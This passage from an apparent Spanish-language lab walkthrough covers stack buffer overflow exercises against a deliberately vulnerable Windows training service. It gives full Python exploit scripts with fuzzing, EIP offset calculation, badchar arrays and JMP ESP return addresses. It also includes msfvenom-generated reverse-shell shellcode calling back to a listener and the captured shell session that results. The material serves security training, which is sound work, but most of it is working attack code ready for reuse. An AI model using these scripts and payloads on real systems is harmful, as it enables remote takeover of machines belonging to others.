!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

Con ello modificamos nuestro script agregando la dirección en lugar de las “B"s en formato Little Endian con la libreria struct.

1
2
3
from struct import pack

eip_ret = pack("<L",0x625011AF)

Shellcode

El registro EIP apunta (JMP ESP) al ESP, y en este ultimo podemos agregar la información que queremos, vamos a agregar finalmente nuestro shellcode en lugar de los badchars o “C"s como ya lo hemos hecho. Utilizando msfvenom creamos un shellcode en formato C especificando los badchars.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x07\x2e\xa0"
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xbd\xb5\xea\x94\xb3\xda\xc6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x52\x83\xeb\xfc\x31\x6b\x0e\x03\xde\xe4\x76\x46\xdc\x11\xf4"
"\xa9\x1c\xe2\x99\x20\xf9\xd3\x99\x57\x8a\x44\x2a\x13\xde\x68"
"\xc1\x71\xca\xfb\xa7\x5d\xfd\x4c\x0d\xb8\x30\x4c\x3e\xf8\x53"
"\xce\x3d\x2d\xb3\xef\x8d\x20\xb2\x28\xf3\xc9\xe6\xe1\x7f\x7f"
"\x16\x85\xca\xbc\x9d\xd5\xdb\xc4\x42\xad\xda\xe5\xd5\xa5\x84"
"\x25\xd4\x6a\xbd\x6f\xce\x6f\xf8\x26\x65\x5b\x76\xb9\xaf\x95"
"\x77\x16\x8e\x19\x8a\x66\xd7\x9e\x75\x1d\x21\xdd\x08\x26\xf6"
"\x9f\xd6\xa3\xec\x38\x9c\x14\xc8\xb9\x71\xc2\x9b\xb6\x3e\x80"
"\xc3\xda\xc1\x45\x78\xe6\x4a\x68\xae\x6e\x08\x4f\x6a\x2a\xca"
"\xee\x2b\x96\xbd\x0f\x2b\x79\x61\xaa\x20\x94\x76\xc7\x6b\xf1"
"\xbb\xea\x93\x01\xd4\x7d\xe0\x33\x7b\xd6\x6e\x78\xf4\xf0\x69"
"\x7f\x2f\x44\xe5\x7e\xd0\xb5\x2c\x45\x84\xe5\x46\x6c\xa5\x6d"
"\x96\x91\x70\x21\xc6\x3d\x2b\x82\xb6\xfd\x9b\x6a\xdc\xf1\xc4"
"\x8b\xdf\xdb\x6c\x21\x1a\x8c\x52\x1e\x32\x4d\x3b\x5d\x3a\x48"
"\x81\xe8\xdc\x38\xe5\xbc\x77\xd5\x9c\xe4\x03\x44\x60\x33\x6e"
"\x46\xea\xb0\x8f\x09\x1b\xbc\x83\xfe\xeb\x8b\xf9\xa9\xf4\x21"
"\x95\x36\x66\xae\x65\x30\x9b\x79\x32\x15\x6d\x70\xd6\x8b\xd4"
"\x2a\xc4\x51\x80\x15\x4c\x8e\x71\x9b\x4d\x43\xcd\xbf\x5d\x9d"
"\xce\xfb\x09\x71\x99\x55\xe7\x37\x73\x14\x51\xee\x28\xfe\x35"
"\x77\x03\xc1\x43\x78\x4e\xb7\xab\xc9\x27\x8e\xd4\xe6\xaf\x06"
"\xad\x1a\x50\xe8\x64\x9f\x70\x0b\xac\xea\x18\x92\x25\x57\x45"
"\x25\x90\x94\x70\xa6\x10\x65\x87\xb6\x51\x60\xc3\x70\x8a\x18"
"\x5c\x15\xac\x8f\x5d\x3c";

Agregamos nuestros NOPs antes de nuestro shellcode, para darle a este ultimo espacio de ser necesario, en total agregamos 16 bytes.

1
nops = "\x90" * 16

Finalmente agregamos el shellcode ajustando y preservando la longitud del buffer (2482) con el padding o “C"s.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Shellcode
shellcode = (
"\xbd\xb5\xea\x94\xb3\xda\xc6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x52\x83\xeb\xfc\x31\x6b\x0e\x03\xde\xe4\x76\x46\xdc\x11\xf4"
"\xa9\x1c\xe2\x99\x20\xf9\xd3\x99\x57\x8a\x44\x2a\x13\xde\x68"
"\xc1\x71\xca\xfb\xa7\x5d\xfd\x4c\x0d\xb8\x30\x4c\x3e\xf8\x53"
"\xce\x3d\x2d\xb3\xef\x8d\x20\xb2\x28\xf3\xc9\xe6\xe1\x7f\x7f"
"\x16\x85\xca\xbc\x9d\xd5\xdb\xc4\x42\xad\xda\xe5\xd5\xa5\x84"
"\x25\xd4\x6a\xbd\x6f\xce\x6f\xf8\x26\x65\x5b\x76\xb9\xaf\x95"
"\x77\x16\x8e\x19\x8a\x66\xd7\x9e\x75\x1d\x21\xdd\x08\x26\xf6"
"\x9f\xd6\xa3\xec\x38\x9c\x14\xc8\xb9\x71\xc2\x9b\xb6\x3e\x80"
"\xc3\xda\xc1\x45\x78\xe6\x4a\x68\xae\x6e\x08\x4f\x6a\x2a\xca"
"\xee\x2b\x96\xbd\x0f\x2b\x79\x61\xaa\x20\x94\x76\xc7\x6b\xf1"
"\xbb\xea\x93\x01\xd4\x7d\xe0\x33\x7b\xd6\x6e\x78\xf4\xf0\x69"
"\x7f\x2f\x44\xe5\x7e\xd0\xb5\x2c\x45\x84\xe5\x46\x6c\xa5\x6d"
"\x96\x91\x70\x21\xc6\x3d\x2b\x82\xb6\xfd\x9b\x6a\xdc\xf1\xc4"
"\x8b\xdf\xdb\x6c\x21\x1a\x8c\x52\x1e\x32\x4d\x3b\x5d\x3a\x48"
"\x81\xe8\xdc\x38\xe5\xbc\x77\xd5\x9c\xe4\x03\x44\x60\x33\x6e"
"\x46\xea\xb0\x8f\x09\x1b\xbc\x83\xfe\xeb\x8b\xf9\xa9\xf4\x21"
"\x95\x36\x66\xae\x65\x30\x9b\x79\x32\x15\x6d\x70\xd6\x8b\xd4"
"\x2a\xc4\x51\x80\x15\x4c\x8e\x71\x9b\x4d\x43\xcd\xbf\x5d\x9d"
"\xce\xfb\x09\x71\x99\x55\xe7\x37\x73\x14\x51\xee\x28\xfe\x35"
"\x77\x03\xc1\x43\x78\x4e\xb7\xab\xc9\x27\x8e\xd4\xe6\xaf\x06"
"\xad\x1a\x50\xe8\x64\x9f\x70\x0b\xac\xea\x18\x92\x25\x57\x45"
"\x25\x90\x94\x70\xa6\x10\x65\x87\xb6\x51\x60\xc3\x70\x8a\x18"
"\x5c\x15\xac\x8f\x5d\x3c")

eip_ret = pack("<L", 0x625011AF)
nops = "\x90" * 16
padding = "C"
buff = "A" * 1978 + eip_ret + nops + shellcode + padding * (2482 - 1978 - 4 - 16 - 351) # junk 1978, eip 4, nops 16, shellcode 351, padding 133 = 2482

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW1 %s\r\n" % buff)
        s.close()
        log.info("Conexion finalizada.")
except Exception as e:
        #print(e)
        log.failure("Error.")

Ejecutamos netcat a la escucha del puerto 1338.

1
2
➜  BufferOverflow nc -lnvp 1338
Listening on 0.0.0.0 1338

Realizamos la ejecucion de nuestro script final y logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
➜  BufferOverflow nc -lnvp 1338
Listening on 0.0.0.0 1338
Connection received on 192.168.22.128 49177
Microsoft Windows [Versin 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\sckull\Desktop\vulnerable-apps\oscp>dir   
dir
 El volumen de la unidad C no tiene etiqueta.
 El nmero de serie del volumen es: 96D1-5A10

 Directorio de C:\Users\sckull\Desktop\vulnerable-apps\oscp

03/07/2020  08:38 p.m.    <DIR>          .
03/07/2020  08:38 p.m.    <DIR>          ..
06/07/2020  06:29 p.m.            16,601 essfunc.dll
20/07/2020  08:50 p.m.            54,648 oscp.exe
               2 archivos         71,249 bytes
               2 dirs  42,065,817,600 bytes libres

C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull

C:\Users\sckull\Desktop\vulnerable-apps\oscp>

Overflow 2

Fuzzing

Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW2.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toscp1.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

# Fuzzing
buff = ["A"]
c = 100

while len(buff) < 30:
        buff.append("A"*c)
        c += 100

p1 = log.progress("Progreso")

for string in buff:
        try:
                p1.status("Enviando %s bytes." % len(string))
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                connect = s.connect((address, port))
                data = s.recv(1024)
                s.send("OVERFLOW2 %s\r\n" % string)
                s.close()
                #log.info("x_x socket.")
        except Exception as e:
                #print(e)
                log.failure("Parece que el programa se detuvo con %s bytes." % len(string))
                sys.exit(1)

Vemos que el script se detuvo y muestra 800 bytes.

1
2
3
4
➜  OVERFLOW_2 ./overflow2.py 192.168.22.128 
[] Progreso: Enviando 800 bytes.
[-] Parece que el programa se detuvo con 800 bytes.
➜  OVERFLOW_2

Vemos en el debugger que el registro EIP se sobreescribio con “A"s (41414141), de igual forma vemos en el ESP lleno de “A"s.
image

Offset EIP

Para este ejercicio vamos a tomar una longitud del buffer de 1000 bytes.

1
2
3
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 1000            
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Configuramos nuestro script para enviar el patron creado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# offset eip
buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
try:
	log.info("Realizando conexion.")
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	connect = s.connect((address, port))
	data = s.recv(1024)
	s.send("OVERFLOW2 %s\r\n" % buff)
	s.close()
	log.info("Conexion Finalizada.")
except Exception as e:
	#print(e)
	log.failure("Parece que el programa se detuvo." )
	sys.exit(1)

Vemos que el programa se detuvo y el valor del ESP.
image

Utilizamos mona para calcular el offset, vemos que el EIP muestra un offset de 634.

1
2
3
4
5
6
7
8
!mona findmsp -distance 1000
[+] Looking for cyclic pattern in memory
[..]
[+] Examining registers
    EIP contains normal pattern : 0x76413176 (offset 634)
    ESP (0x0181fa30) points at offset 638 in normal pattern (length 362)
    EBP contains normal pattern : 0x41307641 (offset 630)
    EBX contains normal pattern : 0x39754138 (offset 626)

Control EIP

Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (1000).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
eip_ret = "B" * 4
nops  = ""
padding = "C"

buff = "A" * 634 + eip_ret + padding * (1000-634-4) # padding 362
try:
	log.info("Realizando conexion.")
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	connect = s.connect((address, port))
	data = s.recv(1024)
	s.send("OVERFLOW2 %s\r\n" % buff)
	s.close()
	log.info("Conexion Finalizada.")
except Exception as e:
	#print(e)
	log.failure("Parece que el programa se detuvo." )
	sys.exit(1)

Podemos notar que el registro EIP esta lleno con las 4 “B"s que agregamos y el registro ESP esta lleno del padding.
image

Espacio - Shellcode

Aumentamos el padding a 150 para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 150 bytes adicionales, en total tendríamos 512 bytes disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
eip_ret = "B" * 4
nops  = ""
padding = "C"

buff = "A" * 634 + eip_ret + padding * (1000-634-4 + 150) # padding 362 + 150 = 512
# 634 junk, 4 eip_ret, padding 512
# total buffer = 1150
try:
	log.info("Realizando conexion.")
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	connect = s.connect((address, port))
	data = s.recv(1024)
	s.send("OVERFLOW2 %s\r\n" % buff)
	s.close()
	log.info("Conexion Finalizada.")
except Exception as e:
	#print(e)
	log.failure("Parece que el programa se detuvo." )
	sys.exit(1)

El debugger no muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 1150 bytes de los cuales 512 bytes serán para el shellcode y los nops (16 bytes).

BadChars

Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).

1
!mona bytearray -cpb "\x00"

Modificamos nuestro script para enviar nuestros badchars.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

eip_ret = "B" * 4
nops  = ""
padding = "C"

buff = "A" * 634 + eip_ret + badchars + padding * (1150 - 634 - 4 - 255) # padding 362 + 150 = 512
# 634 junk, 4 eip_ret, badchars 255, padding 257
# total buffer = 1150
try:
	log.info("Realizando conexion.")
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	connect = s.connect((address, port))
	data = s.recv(1024)
	s.send("OVERFLOW2 %s\r\n" % buff)
	s.close()
	log.info("Conexion Finalizada.")
except Exception as e:
	#print(e)
	log.failure("Parece que el programa se detuvo." )
	sys.exit(1)

Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x23\x3c\x83\xba".

JMP ESP

Nuevamente como en el anterior ejercicio buscamos una instrucción de salto al ESP.

1
2
3
4
5
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./nasm_shell.rb                        
nasm > JMP ESP
00000000  FFE4              jmp esp
nasm >

Podemos utilizar cualquiera de estos comandos para encontrar una instrucción de salto al ESP, sin utilizar el valor \xff\e4 como anteriormente lo hicimos.

1
2
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x23\x3c\x83\xba"
!mona jmp -r esp -cpb "\x00\x23\x3c\x83\xba"

Ambos comandos nos muestran direcciones donde podemos encontrar la instrucción jmp esp.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[+] Command used:
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x23\x3c\x83\xba"
[..]
[+] Results :
     0x625011af : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011bb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011c7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011d3 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011df : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011eb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011f7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501203 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501205 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
Found a total of 9 pointers

[+] Command used:
!mona jmp -r esp -cpb "\x00\x23\x3c\x83\xba"
[..]
[+] Results :
     0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011bb : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011c7 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011d3 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011df : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011eb : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011f7 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501203 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501205 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
Found a total of 9 pointers

Shellcode

Creamos nuestro shellcode pasandole los badchars que encontramos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x23\x3c\x83\xba"                                         1Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with Encoding failed due to a bad character (index=21, char=0x83)
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=112, char=0x23)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with Encoding failed due to a bad character (index=17, char=0x83)
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of c file: 1508 bytes
unsigned char buf[] = 
"\xfc\xbb\x2d\x12\x80\x28\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xd1\xfa\x02\x28\x29"
"\xfb\x62\xa0\xcc\xca\xa2\xd6\x85\x7d\x13\x9c\xcb\x71\xd8\xf0"
"\xff\x02\xac\xdc\xf0\xa3\x1b\x3b\x3f\x33\x37\x7f\x5e\xb7\x4a"
"\xac\x80\x86\x84\xa1\xc1\xcf\xf9\x48\x93\x98\x76\xfe\x03\xac"
"\xc3\xc3\xa8\xfe\xc2\x43\x4d\xb6\xe5\x62\xc0\xcc\xbf\xa4\xe3"
"\x01\xb4\xec\xfb\x46\xf1\xa7\x70\xbc\x8d\x39\x50\x8c\x6e\x95"
"\x9d\x20\x9d\xe7\xda\x87\x7e\x92\x12\xf4\x03\xa5\xe1\x86\xdf"
"\x20\xf1\x21\xab\x93\xdd\xd0\x78\x45\x96\xdf\x35\x01\xf0\xc3"
"\xc8\xc6\x8b\xf8\x41\xe9\x5b\x89\x12\xce\x7f\xd1\xc1\x6f\x26"
"\xbf\xa4\x90\x38\x60\x18\x35\x33\x8d\x4d\x44\x1e\xda\xa2\x65"
"\xa0\x1a\xad\xfe\xd3\x28\x72\x55\x7b\x01\xfb\x73\x7c\x66\xd6"
"\xc4\x12\x99\xd9\x34\x3b\x5e\x8d\x64\x53\x77\xae\xee\xa3\x78"
"\x7b\xa0\xf3\xd6\xd4\x01\xa3\x96\x84\xe9\xa9\x18\xfa\x0a\xd2"
"\xf2\x93\xa1\x29\x95\x5b\x9d\x27\x64\x34\xdc\x47\x63\xfe\x69"
"\xa1\x01\xee\x3f\x7a\xbe\x97\x65\xf0\x5f\x57\xb0\x7d\x5f\xd3"
"\x37\x82\x2e\x14\x3d\x90\xc7\xd4\x08\xca\x4e\xea\xa6\x62\x0c"
"\x79\x2d\x72\x5b\x62\xfa\x25\x0c\x54\xf3\xa3\xa0\xcf\xad\xd1"
"\x38\x89\x96\x51\xe7\x6a\x18\x58\x6a\xd6\x3e\x4a\xb2\xd7\x7a"
"\x3e\x6a\x8e\xd4\xe8\xcc\x78\x97\x42\x87\xd7\x71\x02\x5e\x14"
"\x42\x54\x5f\x71\x34\xb8\xee\x2c\x01\xc7\xdf\xb8\x85\xb0\x3d"
"\x59\x69\x6b\x86\x79\x88\xb9\xf3\x11\x15\x28\xbe\x7f\xa6\x87"
"\xfd\x79\x25\x2d\x7e\x7e\x35\x44\x7b\x3a\xf1\xb5\xf1\x53\x94"
"\xb9\xa6\x54\xbd\xb9\x48\xab\x3e"

Agregamos nuestra shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (1150).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
